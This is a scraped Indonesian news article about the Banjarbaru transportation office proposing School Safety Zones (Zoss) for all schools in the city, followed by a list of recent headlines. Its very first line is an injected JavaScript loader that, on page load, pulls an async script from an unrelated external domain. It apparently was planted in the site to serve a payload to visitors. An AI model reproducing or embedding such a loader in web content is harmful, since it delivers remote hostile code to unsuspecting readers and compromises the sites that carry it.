(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Baru Ada di SDN 1 Loktabat Utara, Dishub Banjarbaru Usul Tambah Zona Selamat Sekolah


KANALKALIMANTAN.COM, BANJARBARU – Dinas Perhubungan (Dishub) Kota Banjarbaru mengusulkan dibuat jalur perlintasan jalan bagi anak-anak sekolah atau yang disebut Zona Selamat Sekolah (Zoss). Wacana ini akan meliputi seluruh sekolah yang tersebar di lima Kecamatan se Kota Banjarbaru.

Kepala Dishub Banjarbaru, Yani Makkie, mengatakan bahwa pemasangan Zoss tersebut demi menjamin keamanan dan keselamatan para siswa. Pun, hal yang sama akan dirasakan para orang tua saat mengantarkan atau menjemput anaknya ke sekolah.

“Sudah diusulkan dan kita tunggu saja apakah disetujui atau tidak. Saat ini, di Banjarbaru hanya ada satu sekolah saja yang sudah terpasang yakni di SDN 1 Loktabat Utara, yang berada di pinggir Jalan A Yani. Nah, kita inginnya semua sekolah mempunyai Zoss seperti itu,” katanya, Selasa (25/8/2020).

Lantas, apakah ada sekolah yang masuk dalam skala prioritas pemasangan Zoss? Dalam hal ini, Kabid LLAJ Banjarbaru, Taufik Purwanto, menegaskan bahwa seluruh sekolah tetap menjadi prioritas. Baik itu sekolah yang berlokasi di pinggir jalan kota, jalan provinsi dan jalan nasional tetap akan dilaksanakan pemasangan Zoss.

“Skala prioritas itu dilihat dari tingkat kerawanan dan arus lalu lintas di setiap sekolah. Kalau dari kita, semua sekolah diusulkan dari Kecamatan Cempaka sampai Kecamatan Liang Anggang,” ujarnya.

Memang diakui Taufik untuk anggaran pemasangan Zoss nantinya bergantung pada status jalan di masing-masing sekolah. Contoh, sekolah yang berlokasi di pinggir jalan A Yani, yang wewenangnya dipegang oleh Balai Jalan Nasional.

“Kalau Zoss yang bisa kita anggarkan itu contohnya di SMAN 2 di Kelurahan Mentaos dan SMPN 2 di Jalan Panglima Batur. Tapi tidak masalah, semua sekolah kita usulkan agar pemasangannya bisa dilakukan secara bertahap,” pungkas Taufik.

Pemasangan Zoss ini diusulkan mengingat lalu lintas di Kota Banjarbaru kian padat dengan kendaraan bermotor maupun mobil. Diengan penerapan Zoss yang disertai dengan marka kejut, marka pengingat dan zebra cross ini dapat mendukung keamanan dan keselamatan para siswa. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell


Desy Arfianty

Recent Posts

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

20 menit ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

38 menit ago

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

2 jam ago

Kuliner Gratis dan Panjat Pinang Warnai Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More

3 jam ago

Peringatan Hari Jadi ke-72 Kabupaten HSU, Paman Birin: Syukuri Capaian Pembangunan

KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More

3 jam ago

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

5 jam ago

This website uses cookies.